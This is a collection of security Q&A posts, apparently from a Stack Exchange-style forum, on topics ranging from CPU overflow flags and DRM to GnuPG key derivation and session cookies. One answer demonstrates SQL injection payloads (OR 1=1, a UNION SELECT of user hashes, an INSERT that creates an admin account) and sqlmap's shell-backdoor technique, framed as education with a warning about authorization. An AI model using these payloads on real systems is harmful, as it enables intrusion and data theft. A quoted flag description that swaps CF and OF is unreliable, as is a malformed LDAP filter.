If x86 architecture has overflow flag in the CPU, then why can't we use it to detect integer overflows in C binaries? I'm talking about the overflow flag that is used in some architectures like x86:
https://en.wikipedia.org/wiki/Overflow_flag

why aren't operating systems using this overflow flag to stop integer overflows?
what is the usage of this overflow flag then?
how does the CPU know whether we used int x or unsigned x in our program? If it doesn't then how can this flag know about any overflow? (if it only sees whether the addition of two values has become more than 32 bit, then wouldn't we only need the carry bit to tell if the addition could fit in one register or not?)

First, this is not an OS question but more of a compiler one. OS can only execute binary programs that contain machine instructions and that can (if they were instructed to) test the overflow flag.

So a part of the question is (IMHO): Why does not the C compilers allow to test the overflow flag?

The reason is that the language is supposed to accept (almost) any platform, and Kernighan&Ritchie decided that it would be too complex to allow to test the overflow flag from a C language program when they first designed the languages in the 1970's.

That is not really a nice gift for the programmers, because they have to use hacks to be able to know whether an operation generated an unwanted overflow (commonly test if the sign is not the expected one) without the semantics being defined in the language...

Once this is said, let us go to your questions:

why aren't operating systems using this overflow flag to stop integer overflows?

Because many programs generate overflow without errors, provided they correctly test it. They can test is either directly with assembly language, or indirectly by testing the range of the result.
what is the usage of this overflow flag then?

It is implemented at the CPU level and can be used by assembly language routines.
how does the CPU know whether we used int x or unsigned x in our program? If it doesn't then how can this flag know about any overflow? (if it only sees whether the addition of two values has become more than 32 bit, then wouldn't we only need the carry bit to tell if the addition could fit in one register or not?)

It just does not. For the addition, the instruction set reference says:

  The ADD instruction performs integer addition. It evaluates the result for both signed and unsigned integer operands and sets the CF and OF flags to indicate a carry (overflow) in the signed or unsigned result, respectively. The SF flag indicates the sign of the signed result.

That means that it is up to the (assembly language) programmers to know whether they wanted signed or unsigned operations and to test the appropriate flag.


LVM Encryption and Bootloader Does using LVM encryption on Kali Linux install fully encrypt the bootloader as well? I'd assume that if the disk is fully encrypted that no one would be able to access or get your password or install malicious script to do so?

The bootloader won't be encrypted, because you first need to load the LVM service.

A probably possible way to install malicious script is to corrupt the code that will prompt you the password, but can't access to your password directly

However, you can still encrypt /boot using LUKS, and use LVM over LUKS
Have a look at this link from ArchLinux, yet doable on Kali.

Furthermore, you can use GRUB from a USB key, that will load the encryption module and boot from the encrypted /boot

That's a bit overkill, but I hope it answers your question !


How does Widevine, FairPlay, and other DRM's work under the hood? I am trying to understand how DRM works under the hood. There doesn't seem to be much information about it on the web so I figured I would ask here.

After some attempted research, I found it extremely difficult to find any information regarding how Widevine or FairPlay DRM actually works. There is some general information about Content Decryption Module (CDMs) and such but how it actually works seems to be a mystery. I am wondering if this is intentional because much of DRM is maybe security through obscurity.

My basic/abstract understanding of DRM is that a file is encrypted usually using AES. When the file is attempted to be accessed by the DRM solution a key is transferred from a server to the CDM for it to be decrypted using some proprietary method (this is the part I am looking to understand better). The decrypted content is then given back to the application, often a browser, for playback. Is this correct?

If the above is the case, I assume that an attacker could simply edit the binary for the CDM to access the key or the file after is decrypted.

If the above is the case, I assume that an attacker could simply edit the binary for the CDM to access the key or the file after is decrypted.

That's why a lot of DRM systems are not implemented on Linux systems ...

To be able to run a DRM, the player must be "certified" by the DRM provider and must provide some secure way for this set key/decryption process.

On mobile device, it's often done using the TEE (Trusted Execution Environment), the SecureZone or whatever that is able to act as an crypto oracle on the system.
For Windows, other mechanism are used, probably anti-debug at binary level, TPM, or something like that.

It doesn't mean that you won't be able to get the encryption key, just it will be quite difficult.


Can single-purpose PCs be useful as a security measure in this situation? In the context of a small scale operation, we are considering use of single special purpose PCs allocated to single security-sensitive tasks - for example, certain financial operations.

The intended security benefit is that by simplifying the processes that take place on these machines, the opportunities for mistakes leading to data leaks are reduced.  The sorts of mistakes we are concerned about here are principally those that would increase the risk of successful, mostly automated, use of exploits by third parties, involving local malware and web-based attacks.  The types of attack we are concerned with are not highly targetted ones.  I also don't anticipate any protection here from social engineering and insider attacks, which I consider a separate but important issues.

The philosophy behind this idea is that though user education is important, there are practical limits even for users who are doing work that is relatively security sensitive.  By limiting the scope of work at a PC we hope to make it easier for individuals to consistently stick to security policy where it is most important.

To further limit the scope of this question, the the software / processes that would be used are:

gmail for transfer of documents and communication with a small set of websites and people.
A web browser, for use only with a small number of websites

The (low-cost) hardware would would not share a monitor with another PC, and use of USB devices would not be permitted.  The hardware would be attached via wifi to the same local network as all other machines.  Printing would likely be done over that local network.

The machines are likely to run Linux and limited use of libreoffice, in a environment where other machines are Mac / Windows / MS Office.  We do anticipate some training / compatibility issues with the office suite.

Does this plan confer actual security advantages of the type I've described?  If not, what flaws might it have, and can changes be made to provide a useful security benefit?

The basic idea of restricting what can be done with the system does improve the security, because it decreases the attack surface and it also reduces the risk that the user will cause harm accidentally.

Unfortunately you have added one software which has a very great attack surface - the web browser. To limit this risk you should explicitly limit what sites can be reached from the browser. This could be done with a restrictive proxy or by configuring the browser to use a proxy.pac file which denies access to all but a few sites.


Scoping for ISO27001 In case the user authentication is outsourced for a company, does it need to be included in the scope? I think that even if it is outsourced it must be included in the scope definition.

It may not have to be included in the scope definition. However, it would be difficult to have information security management system (ISMS) without user authentication (see section A.9 on access control). The boundaries of the ISMS (scope) need to be established after considering the needs and expectations of the interested parties.


tcpdump filter expression POST packets I'm trying to save only POST packets using tcpdump filter expressions. I started with 'tcp port 80' and I found on the web a specific expression to achieve that.

tcpdump -i wlan0 -s 0 -A -vv 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

Where 0x504f5354 means POST.

That works, but when only saving packets instead of printing them on the standard output and opening it on Wireshark I get just a few random packets. Here's my command,

tcpdump -i wlan0 -s 0 -A -w test.pcap 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

I have not clear what you mean by, "when only saving packets instead of printing them on the standard output and opening it on Wireshark".

I believe, however, that you're trying to save "POST data" (which lives at the HTTP level) while your expression specifies only the first POST packet (living at the TCP level).

If you're intercepting, say, a 5Kb POST packet, chances are that it has been fragmented into three or more shorter packets (with say 1476, 1476, 1476 and 692 bytes payload - numbers almost at random, I haven't checked, but you see my meaning). Of these, only the first does actually contain the HTTP POST command, so that it is actually intercepted.

And there's more. The HTTP1.1 protocol allows for keeping the connection alive and "pipelining" commands in a single TCP connection so as to save the handshake and socket maintenance hassle. So you can have three POST commands in a single conversation:
    POST data1... POST data2... POST data3...

and of course the chances of any but the very first POST to come exactly at the beginning of a packet and be snatched by Wireshark are very small.

In order to properly capture POST data you need a HTTP proxy with conversation capture facility (or Firefox's Firebug, which is better for some applications), and have the whole HTTP stream parsed and the POST requests captured. Otherwise you would need a PCAP regexp complex enough to understand HTTP, which, even if feasible (which I'm not too sure), would be exceedingly impractical.


What's the difference between an API gateway and XML gateway? I'm studying for the CCSP exam and am confused on the difference between an "API gateway" and "XML gateway".  The training material I have states:

  API gateways are also an important part of a layered security model.
  They can be used to impose such controls on API activity as

  Acting as an API proxy so as to not directly expose the API.
  Implementing access control to the API
  Limiting connections so that bandwidth is available for all applications, which can also help in the event of an internal DoS or
  DDoS attack.
  Allowing for API logging
  Allowing for metrics to be assembled from API access logs.
  Providing for additional API security filtering.

  XML gateways work in much the same way, except they work around how
  sensitive data and services are exposed to APIs.  They can be either
  software- or hardware-based and can implement some types of data loss
  prevention (DLP).

And that's it.  I still don't get a good sense of what the difference is here.  Can someone elaborate, ideally with a practical example?

I asked Mr. Google and got results for an Oracle product/feature but this seems much more like a generic industry tool.

A bit of an artificial distinction in my view. I am guessing that they are considering XML gateways to be document-based whereas they are considering API gateways to be record based. But this really is a guess because I would certainly not have a distinction between them.

An API is simply a documented mechanism for obtaining information via a service. What the API returns is part of the definition. API's might return JSON or XML or some other format, it makes no difference architecturally.

The point about DLP is also incorrect in that there is no reason why DLP shouldn't be applied to any API. However, in practice, DLP is mainly applied to documents (e.g. un- or semi-structured data). It doesn't have to be that way though.

Sorry, I realise that this does not exactly answer your question but hopefully, it at least adds some clarity.


Am I weakening symmetric OpenPGP encryption by deploying a custom pre-derivation? I often use GnuPG to encrypt files with a passphrase. I'm very paranoid, and afraid that the key derivation used by GnuPG isn't slow enough.

For this reason, I've decided to do my own key derivation before feeding the passphrase into GnuPG.

I have a Python script that runs 10 million rounds of PBKDF2-SHA512 with a static salt and outputs the result hex encoded. I call this 'pre derivation'.

I first run that on the passphrase, and feed its output to GnuPG as an intermediate passphrase.

Am I on the right track, or am I wasting my time doing this, or even worse, weakening the encryption security?

Apart from the fact you'd better not deploy custom crypto code anyway, you're reinventing the wheel. OpenPGP's string-to-key functionality is configurable and can be adjusted to your needs, while not losing compatiblity. I'm not discussing your choices in the number of cycles here, although they seem a little bit harsh. I'd recommend reading At what point does adding more iterations to PBKDF2 provide no extra security? on this topic.

From man gpg:

  --s2k-cipher-algo name

  Use name as the cipher algorithm for symmetric encryption with a passphrase if --personal-cipher-preferences and --cipher-algo are not given.  The default is AES-128.

  --s2k-digest-algo name

  Use name as the digest algorithm used to mangle the passphrases for symmetric encryption.  The default is SHA-1.

  --s2k-mode n

  Selects how passphrases for symmetric encryption are mangled. If n is 0 a plain passphrase (which is in general not recommended) will be used,  a  1  adds  a  salt  (which
  should not be used) to the passphrase and a 3 (the default) iterates the whole process a number of times (see --s2k-count).

  --s2k-count n

  Specify  how  many times the passphrases mangling for symmetric encryption is repeated.  This value may range between 1024 and 65011712 inclusive.  The default is inquired
  from gpg-agent.  Note that not all values in the 1024-65011712 range are legal and if an illegal value is selected, GnuPG will round up to the nearest legal  value.   This
  option is only meaningful if --s2k-mode is set to the default of 3.

To wrap up, following options will have the same effect:

gpg --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-count 10000000 --symmetric

--s2k-mode 3 is GnuPG's default (and only reasonable setting for this option); I did not include --s2k-cipher-algo as this is not relevant for key derivation (and not handled by the "pre-derivation" you described, anyway). Alternatively, you can set this as default in your gpg.conf:

s2k-mode 3
s2k-digest-algo SHA512
s2k-count 10000000

Those options can not only be used for symmetric encryption of messages/files, but are also used for passphrase protection of private keys.


Application design to avoid XSS & CSRF attacks I am learning to design a system where it can be guarded against XSS & CSRF attack.  I'll quickly list down my understanding and then raise questions. It's a simple case of fraud that I am trying to avoid. Steps mentioned below are executed by hacker:

Broadcast e-mail to a lot of people holding account with any specific bank on gmail yahoo etc.
Once mail is received, script in background is executed from the email on-load , it checks if bank website is open in any of the tabs. If not, try after regular interval.
Hacker is aware that in the post request, only his account number needs to be updated and money would be transferred to his account
Common logic is written in front-end code which adds the headers and cookies on ever request sent to server.

Question:
Is the above attack possible?

Answers: (From my understanding)
If hacker knows the payload required for fund transfer, hacker would simply hook onto mouse movement event and being aware about the url and payload would fire the request for fund transfer. Cookies and other header details would be passed along as front-end team for simplicity have written logic to add these fields with every http request.Please corrent me if I am wrong.

Please highlight if any of the steps undertaken by hacker(1-4) are not practically possible

Ok so technically anything is possible, but there would need to be a lot of very unordinary things in place for this scenario to play out as described. Lets start out with point #1...

1) An email is broadcasted to lots of members of a certain bank website. This is very possible, and is known as a phishing attack. These attacks are common, but in order for them to be as deadly as the scenario you described, there would need to be major flaws in the banking website.

2) A script is executed in the background of the email that checks for open connections to the banking website. This is fairly inaccurate. Starting off, mail XSS vulnerabilities are very rare nowadays (and pretty much always have been). Here is a discussion about XSS in emails, and here is a good read on XSS if you didn't already know what it was. In the rare case that an email service would have a XSS vulnerability in the body of an email, malicious javascript could be executed, but it could not read open tabs and information associated with them (it could open new tabs, but not read if a connection exists).

3) Hacker sends his account number in a POST request. This sort of thing usually takes place when there is a CSRF vulnerability. A CSRF vulnerability allows an external site to make possibly destructive requests to the site. Here is a good read on CSRF. Basically, if the banking website didn't use any CSRF token to verify money being sent, the hacker could phish a member of the bank to click on a link that makes a "send-money" request to the hacker's account. This attack is basically 100% nonexistent in banks today.

4) Common logic and headers / cookies are always manipulated with front end code. This would be incorrect because although cookies can be edited on the front end, they are also commonly created and read on a server. Here is a good read on cookies and here is a good read on headers.

Considering the last part you wrote about the answers, to my knowledge, a hacker can't latch onto a user's mouse movement without actually breaching the computer, which is very difficult and uncommon. Hope you found this useful!


How is a ddos simulation any different from a real attack? I asked a question earlier today on serverfault, but found out that there was also a security stack exchange. I had conflicting answers from there. The following is the link:

https://serverfault.com/questions/346609/dos-attack-simulation-vs-real-deal

One person states that there is no difference, whereas another has stated that certain aspects of a DoS attack are very difficult to simulate.

What I'm really curious about is whether real and simulated attacks are equally difficult to mitigate. If so, how?

The relationship is one-way: the simulated DDoS is similar to a subset of possible DDoS. So if your system is killed by the simulated DDoS, then you have positively proven that the system does not resist well to DDoS in general. On the other hand, if your system keeps on operating while under your simulated attack, then you have not proved resistance against generic DDoS attacks, only resistance against DDoS attacks which match your simulation. It is still a useful test (and quite similar to load testing, as others have pointed out).

The general framework of a DDoS implies that the attacker musters way much more resources than you, under the guise of many distinct genuine network clients. By definition, you cannot, even for testing purposes, muster more resources than what you can muster (duh), so you cannot really simulate a full-fledged DDoS.


What other evidence can I obtain regarding this key-logger? I have a computer that I know has had spyware installed on it (Perfect Key Logger). I have found the location of the key-logger and the date of creation, which is also I think the date of install.

I'm not sure this is the right community to ask this sort of a question in, so please feel free to point me to the appropriate community if it is not.

What other evidence can I obtain regarding this key-logger? Specifically can I get any further granularity on install information? Thus far I am only viewing Properties and Date Created. Perhaps there is a more accurate way to view an install date. Perhaps there is even a way to link it to some purchase data. Something confirming that it was downloaded while on a particular IP address would be great.

As a note I am viewing the files, via SATA to USB from a Windows 8 computer. I work with Linux as well, in case the UNIX terminal offers more granularity regarding this information.

Here is a link to the key-logger product, it is from a company named "Blazing Tools". http://www.blazingtools.com/bpk.html

Any comments or suggestions will be appreciated.

You can look in the events logs for looking for entries which describe the date of the eventual installation of the keylogger. For your research, you can search around the created/modified date of the file.

If you want to know how this malware has been downloaded or copied on your harddrive, you can look the history of yous web browsers and in the registry to know which USB-key has maybe been plugged on your system.

If nothing of all of that helps you, youcan search all files has been modified at the same date of the keylogger, maybe it will help you to find and understand the process of his execution.

Good luck for yours investigations.


Securing shared key in TOTP Implementations I'm currently learning about Time-based One-Time Password implementations (see RFC6283). I see that a shared secret is part of the algorithm.

This shared secret is exposed to the user (see example with Google Authenticator).

So I'd like to ask:

Why is this okay? Is this not risky in that the secret key can be inadvertently shared from there and end up in the wrong hands?
Would the secret key be per user, or for all users of the backend application (I suppose the latter is the case as I've see it as a configuration setting in implementations)?
What steps are recommended to ensure that this secret key does not fall into the wrong hands?

Because it's necessary for the algorithm to work, valid codes can't just be generated out of thin air. Users should be told not to share the QR code. The fact that it's being used for 2FA should hopefully be enough for most people to understand that it shouldn't be shared, but some implementations could certainly be improved here.
The key must be per user. If it were the same key for all users, all users would be generating the same codes.
Tell the user not to share it, and follow good security practices to make sure your app isn't vulnerable to things like SQL injection that an attacker could use to get all the secrets.


Complex Consumer Matching Queries with PGP Universal For group membership I am using LDAP for performing the consumer matching. I can pretty clearly see how to do simple matches with ORs or ANDs, but I would like to match in a more complicated fashion. For example, while this is obvious

memberOf cn=PGPUsers,ou=Groups,dc=site,dc=com
AND
memberOf cn=Dept1,ou=Groups,dc=site,dc=com

I would like the flexibility to do

memberOf cn=PGPUsers,ou=Groups,dc=site,dc=com
AND
( memberOf cn=Dept1,ou=Groups,dc=site,dc=com
  OR
  memberOf cn=Dept2,ou=Groups,dc=site,dc=com
)

The only mechanism I've found to do this is by creating a new LDAP group that contains all the members of Dep1 and Dep2, however this also means managing additional group memberships and would exist outside of PGP itself. Is this type of functionality even available in Universal? Are there ways to reasonably simulate the behavior internal to the system?

Examine the following filter:

(&(member=cn=PGPUsers,ou=Groups,dc=site,dc=com)(|(memberOf cn=Dept1,ou=Groups,dc=site,dc=com)(memberOf cn=Dept2,ou=Groups,dc=site,dc=com))

see also

LDAP: Search filters


Are GUIDs safe for long lived access tokens? There is a peice of software i am using at work that has several components to it, lets call them the server and agents.

the server runs an api over https that the agents use to communicate with it.

the server can be cloud hosted or locally hosted.

the entire api is accessible without any authentication process by providing the guid for a given agent in the header of the request. the api is also available for non agents to use (though the published functionality available is slightly different its the same api with no special restrictions to identify if its an agent or just random http request from anyone)

these guids are not visible in the web front end of the server application, nor in the gui for the agent application. and the agent is not going to be running on user machines - more like IT staff only accessed vms.

the api allows extraction of passwords and other data that is stored encrypted on the db. depending on how much you trust this software you may store some very powerful credentials in there.

the guids appear to be .net generated using version 4 i think its called (sorry i have limited security knowledge) as in the first character of the third grouping is a 4 when in the MS format, i don't see any any code in the db to create the guids and its a asp.net web app that hosts the api.

calls to the api don't appear to be rate limited, even for multiple not authorised requests, there appears to be no subnet or ip address filtering going on - apparently not even on the cloud instance (though again i am no security person, maybe i am on a watch list now and everything i send them is treated differently)

these guids are stored unencrypted in the server application DB.

i raised this with the vendor as a ticket and they basically say its as per design, and to their credit they investigated this VERY fast (given the apparent size of the company).

am i crazy in thinking this is very bad?

Seems like now anyone with db access, agent access or network hardware access now has the ability to get whatever they want. also a momentary failing of https traffic for some reason (e.g. you use the cloud instance and for a short period of time someone manages to man-in-the-middle you) and until you delete those agents you are wide open. without even logging of access to extract credentials? - at least from me as the clients perspective i don't see it (other than if i went to look at IIS logs on a local instance i guess).

Apparently the guids cannot be predicted (as in i cannot register a bunch of agents with the cloud instance and predict what the next customers guid will be) but it seems weird that if i authenticate with the api the one time access token i get is many times more complicated that a guid but is only valid for that session, while the guid lasts basically forever.

You can divide agents up logically to restrict what data they have access to, something which has all of sudden become very significant now that i have found this potential hole, so maybe its just on me to make the business aware of this etc?

Maybe there is just no way round this issue for this type of application, i have never written anything like this. but at the very least i would expect some attempt at tightening this restriction

restrict use of this key to known ip addresses (or at least generate a warning when ip addresses change or make it an option)
only use the key in initial handshake then use a token from there on in so not all traffic is vulnerable
maybe create a new one of these keys each time the agent successfully connects to the server

i don't know, as i said i have never written a server-agent type application, maybe i am just naive?

When wondering whether a certain security measure is sufficient, the question is: what threat should it be protecting against? Or, seen from the attacker's side: what does it not protect against?

A version 4 GUID is some 120 bits of randomness. Assuming that their code uses a CSPRNG for generating these GUIDs, this is perfectly unpredictable. Without any other knowledge, an attacker could never guess this token. You would have to find some other vulnerability (thereby getting access to an existing token) in order to impersonate someone.

Does that mean this is perfectly secure? Is this the best possible system? No, that is not the case.

As you mentioned, the tokens are long-lived. If the token is obtained by an attacker at any point in time, the attacker will have indefinite access until the attacker is detected and the token revoked (removed from the database of valid tokens). This is already better than a system like JWT, where tokens can't be revoked and some hybrid system of short-lived access tokens and long-lived refresh tokens has to be used. But what about using a shorter-lived token here as well? Those are great, but you have to consider: how does a legitimate user obtain a new token once the old one expired? Whatever the answer is: could an attacker do the same thing? You would have to require some extra confirmation that an attacker can't do. Typical examples are email confirmation or a cookie that is only set in the browser of the user. Similarly, 2-factor authentication could be used.

To prevent anyone with read-only access to the table of valid tokens to escalate their privileges to that of a valid user, hashing can be used. Since the GUIDs are (assumed to be) strong by themselves, this can be as simple as applying a single round of SHA-256 to it (no salt or pepper needed). If an attacker now has read-only access to the table of valid tokens, they would have to crack the ~120-bit token before being able to obtain the GUID that they can use to make requests. Cracking a 120-bit token is impossible for the foreseeable future.

Against TLS failing, one would basically be implementing a variant of TLS on top of the existing TLS: if TLS fails, but you still want all the guarantees of TLS (non-replayability, integrity, confidentiality), you are basically reinventing TLS. Given the sensitivity of this system (you mention "the api allows extraction of passwords"), defense in depth might make sense, but it does feel like overkill with a potential for crypto soup (might introduce other vulnerabilities as well as giving a false sense of security).

In conclusion, I don't see an immediate issue with this system. Some hardening can be applied (hashing the tokens in the database, two-factor authentication), but this doesn't sound inherently vulnerable to me. Secret tokens for API access are common practice. To get unauthorized access to the authenticated API calls, it seems that one would have to find and leverage other vulnerabilities first.


PGP's -cw option in GnuPG I am new to PGP and am going through the book.  I have GnuPG on my OS X.  I've been through the man pages for GnuPG and to encrypt files the following is instructed: https://www.gnupg.org/gph/en/manual/x110.html.  But this is not the same as what -cw option does in PGP.  Can anyone explain how to execute -cw in GnuPG as it is executed in the book?  Thanks.

pgp -cw symmetrically encrypts a file (using a passphrase that the user is prompted for) and subsequently securely deletes the old one.

pgp -c (symmetric encryption) is performed using gpg --symmetric or the shorthand gpg -c (which is actually compatible to the old PGP syntax). If you want to enforce IDEA, use the option --cipher-algo IDEA or enforce PGP 2.6 compatiblity using --pgp2. Use either:

gpg --pgp2 -c file
gpg --cipher-algo IDEA --symmetric file

Secure deletion (-w flag in PGP 2.6.2) is not offered by GnuPG, fall back to the tools offered by your platform instead. OS X already ships srm (secure remove), for Linux you could use wipe (probably needs to be installed first). There are also lots of other alternatives.


Sqlmap, how to move forward? So, I'm using Sqlmap for a while now to test the security for my company (we're too small to have IT guy and I'm the closest they got for now), I already managed to access the database remotely and dump the database using this

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment)
    Payload: id=-XXXX' OR YYYY=YYYY-- -&gid=XXXXX

Now I want to inject some information to the users table, I know table name, columns, etc. I also know which information I want to enter but I need to translate it to "geek" language which I don't really know yet. I also tried --os-shell on the server but it failed (we're not using any of the listed names it checks)

Of course, After I do that we're going to upgrade the software and I'll have to test it all again.

Thanks for anyone who can help me.

First things first

Are you even allowed and authorized to test and mess around with this? You might need a written proof for your own sake in case it turns bad. Make sure you're not doing this live on some production server, use a test server instead.

Back to the basics

A classic way to demonstrate SQL injections:

$id = isset($_GET['id']) ? $id : -1; // Set default value if id isn't set
$stmt = $db->query('SELECT * FROM articles WHERE id=' . $id);
$results = $stmt->fetchAll();
fancy_display($results);

To get all the rows, we might use 0 OR 1=1. The final query will look like this SELECT * FROM articles WHERE id=0 OR 1=1. Since 1=1 is always true it will return all rows from articles.

This is usually not what we want unless we want to stress the server in some way. So we tend to use UNION to reach other tables: 1 UNION SELECT ALL 1, 2, username, hash from users.

What about injecting an INSERT after SELECT?

SQL injection is really about modifying the original SQL query in unintended ways. The query needs to be valid to be successful. Following our previous example, you can't just mix an INSERT with a SELECT in one query:

SELECT * FROM articles WHERE id=1 ALSO INSERT INTO articles (title, content) VALUES ("foo", "bar")

Note that ALSO is just an imaginary keyword, well since it's not supported. Another attempt would be to use to separate queries by separating them with ;:

SELECT * FROM articles WHERE id=1; INSERT INTO articles (title, content) VALUES ("foo", "bar")

Most of the times this won't work. The second query gets ignored, because the underlying code needs to specify it's using "multiple queries" also known as "stacked queries". In PHP for example, one needs to use mysqli::multi_query instead of mysqli::query. Most applications use the later equivalant. You might want to read a previous answer of mine.

Injecting an INSERT statement

So the other legit way is to try and find a vulnerable code that uses INSERT:

// Registration page
// Got credentials via $_POST
$username = 'foo';
$password = 'bar'; // not hashed, so bad

$db->query('INSERT INTO users (username, password, admin) VALUES ("' . $username . '", "' . $password . '", 0)');

The final query will look like:

INSERT INTO users (username, password, admin) VALUES ("foo", "bar", 0)

We change the flow by using a different password: bar", 0), ("haxors_admin", "easy", 1)--. The final query will look like this:

INSERT INTO users (username, password, admin) VALUES ("foo", "bar", 0), ("haxors_admin", "easy", 1)--", 0)

Everything after -- gets commented and thus effectively ignored. We just added an admin user. Note that this scenario is very simple to demonstrate the attack.

sqlmap joins the fun

sqlmap is an automation tool to find SQL vulnerabilities and exploit them. Apart from data exfiltration, it also has options for OS takeover like --os-shell or --os-cmd.

Under the hood, it will check if stacked queries are supported. If it is, it will either use sys_exec or sys_eval to execute those commands. If it isn't, it will try to use a web backdoor (for example a php backdoor) to execute those commands. The backdoor is created by injecting INTO OUTFILE: trick the query to write to a writable folder. Now if MySQL doesn't have the rights to write to that folder, it won't be created. Thus the attack fails. This attack vector is better explained in the sqlmap usage wiki. More on this in Advanced SQL injection to operating system full control (whitepaper).

Conclusion

In your case, stacked queries aren't supported and MySQL doesn't have enough rights. Which explains why the attack failed. Aside from learning purposes, I would advise to not bother further and start fixing vulnerabilities.


How to secure Google Account from SIM hijacking & intercepting Two factor SMS codes on the way & still keep it accessible? As mentioned on many places at web, SIM cards are one of the weakest link in Two Factor Authentication process. Bad actors can impersonate as user to Telecom Company to get duplicate SIM, or simply might have access to communications infrastructure (government sponsored or not) to intercept one-time codes sent to our mobile via SMS.

On my google account, I have strong, unique password, and two-factor auth enabled, with following ways:

Google Prompt
Authenticater App (Google's Own, QR Codes backed up)
Backup Codes
SMS Codes to my two Mobile Numbers (removed now)
Recovery email

What could be the bad consequences for me to access/use/recover my google account, as now I have removed both two mobile numbers from all places, in order to safeguard myself against any possible SMS hijacking?

Somewhat Similar, but not related, that OP wants SMS instead of Auth App

You may look at https://www.yubico.com/about/background/fido/ for your 2FA needs. It would mean bypassing your phone for 2FA completely.


How can I monitor a named pipe? I have installed an application that opens a named pipe that is accessible over the network. I would like to monitor/sniff what is sent to this named pipe, any idea how I can do that?

Edit: Even though it is accessible over the network, the application talks to it on the local machine.

Here is a tutorial on using WinDbg to debug via named pipe:

  Doing remote debugging using WinDbg is easy and can be done in one of
  a number of ways. In the following, ‘debugging server’ is the debugger
  running on the machine where you’d like to debug; ‘debugging client’
  is the debugger controlling the session.

  To start a server:

- WinDbg –server npipe:pipe=pipename (note: multiple clients can connect), or
- from within WinDbg: .server npipe:pipe=pipename (note: single client can connect)


What settings should be entered into the blacklist file for zmap to map a local network instead of the entire internet? My company has a very large distributed network which we scan monthly for vulnerability assessment. As part of that scanning, we try to find all accessible network hosts with a ping sweep. Since zmap can be used to map the entire internet (according to reports) in around 45 minutes, could the tool be used to map an organization's network quickly also?

Could you do this by restricting the address space in the blacklist file, or would you need to recode the tool to handle this use case?

From the zmap documentation:

  The blacklist file will list subnets to exclude, in CIDR notation (e.g. 192.168.0.0/16), one-per line. It is recommended you use this to exclude RFC 1918 addresses, multicast, IANA reserved space, and other IANA special-purpose addresses. An example blacklist file is provided in conf/blacklist.example for this purpose.

So work out what ranges you can blacklist without removing addresses you own and add them into the blacklist file.


Why is it insecure to store the session ID in a cookie directly? I am learning about session middleware.

You have to supply a secret or the middleware complains:

app.use(session({
  secret: "abc",
  resave: false,
  saveUninitialized: false,
  store: new MongoStore({
    mongooseConnection: mongoose.connection
  })
}));

I did some investiagation and the actual session ID is

eKeYlF1DR6AtVkeFZK9vEIHSZT8e0jqZ

But according to the cookie, the session ID is

s%3AeKeYlF1DR6AtVkeFZK9vEIHSZT8e0jqZ.on5ifVE079C4ctKNdkNiJSh8NkQMckjd5fn%2FsxIQWCk

I am confused. Why is it insecure to store the session ID in the cookie directly? Can I not store the session ID directly?

It looks like the secret is a private key and the session ID is being encrypted?

As I understand it, if an attacker can attain this cookie, maybe via XSS or social engineering, the attacker can still hijack the session. I am not sure what the point of the secret is.

The author of that JS library seems to have made a common, yet mistaken, assumption, though based on just enough knowledge to get things wrong.

You can't just sprinkle magik crypto faerie dust and expect to get more security, like chocolate chips.

What the author is missing is that once you sign the session id, and put that in the cookie - the signed session id IS the session id. That is literally the identifier with which end users will tell the server which session is theirs. It doesn't matter that the server will like to do some internal processing for associating the actual session identifier with the internal representation of the session's memory.

To be clear, if the signed session id is stolen - in any way, whether via XSS, social engineering, or anything else - then the attacker will be able to simply use that signed session id to hijack the user's session, internal representation notwithstanding.

That said, there is one nominal benefit in signing the cookie value before sending it to the browser: tamper detection.  That is, upon receiving the user's cookie, the web application can verify that the cookie was not tampered with before using it to look up the session memory, namely by validating the signature. This might possibly prevent certain advanced / active attacks on the session management, by avoiding a session lookup on a session id that was never valid.

However, this supposed benefit is doubtful, since the session id is typically just an id, used to look up the session variables. Also, most attacks targeting the session id would not be stopped by this - session hijacking, session fixation, session donation, session riding, etc...

Anyway, if you really want to verify that the session cookie was not tampered with before using it, there are simpler ways than a digital signature...


Whom should I report spam emails to? Today I received an email from a person in "critical health condition" who wants to give me about $10 million. It is clearly some kind of scam. What should I do with the email besides not replying? Is there an organization I can report the spam to? Perhaps some kind of international spam-fighting organization or a global spam research database?

There are national agencies handling scam, fraud & phishing reports (e.g. USA, UK).
However, this inheritance scam is an example of advance-fee scams including 419 scam, Nigerian prince scam and many other. The email you got is following a so well known pattern that reporting it wouldn't really increase any information on the subject. Scams like this have been around long before email, e.g. The Spanish Prisoner from 1910. From this perspective it might be better just delete it.
It might be useful to report the origin of the spam, though, as it could be a compromised system. Therefore, the owner of the abused system and the network operator should know about the situation. The correct party to contact can be found by investigating the Received headers of the message and looking for abuse contact information in the WHOIS database. As not everyone can interpret this information correctly, there are services for this, too, like the SpamCop.


How sensitive are mobile telephone numbers? A question that came to my mind. How sensitive are they really? I mean basically all you can do with them is

stalking you with hiding caller ID
find out which provider gave out the number but not 100%
because people can transfer numbers
try to find accounts associated with a number (Whatsapp, etc)

But eventually the possibilities seem to be not that spectacular. What could you add as a potential security (in this case rather privacy) flaw of revealing mobile numbers?

Hacking : It was shown recently (source) that it is possible with enough information including the mobile number to convince a communications provider you've "lost" your SIM, issue a replacement in store (so you don't even need to receive their mail!) and then convince their bank to "trust" you via an SMS code they can text you and give you unauthorised access to their bank account. I suppose this would also work with any form of 2 factor authentication (like my domain registrar) or re-registering for What'sApp.
Information Disclosure : People typically link their mobile number to online services (Facebook, What'sApp, Hangouts, SnapChat). If all you have is a number, you can often reveal a lot of information about that person from that. I'm attempting to move flats at the moment and I add potential landlords' numbers to my phonebook then perform a contact sync in Facebook, What'sApp etc. to see if they are genuine before visiting them.  I often get pictures of people I've nothing other than a number for. Another answer refers to the Last Seen information which has stalking potential (what time are they waking up etc. likely at work and not checking their messages etc.).
Harassment: A study once showed the average person views a SMS text message within 5 seconds of the message being delivered. Unsolicited PPI calls in the UK have shown that people who have nothing other than your number can be quite disruptive. It's very annoying to have to change your number (notifying all the legitimate contacts of the number change), people will often not mute their phone even when receiving an excessive amount of unsolicited calls for fear they will miss an important legitimate one. I wouldn't underestimate the power of a device which most people keep less than a meter away from them for almost their entire day (even when in bed!). Nuisance phonecalls would certainly be disruptive for me!
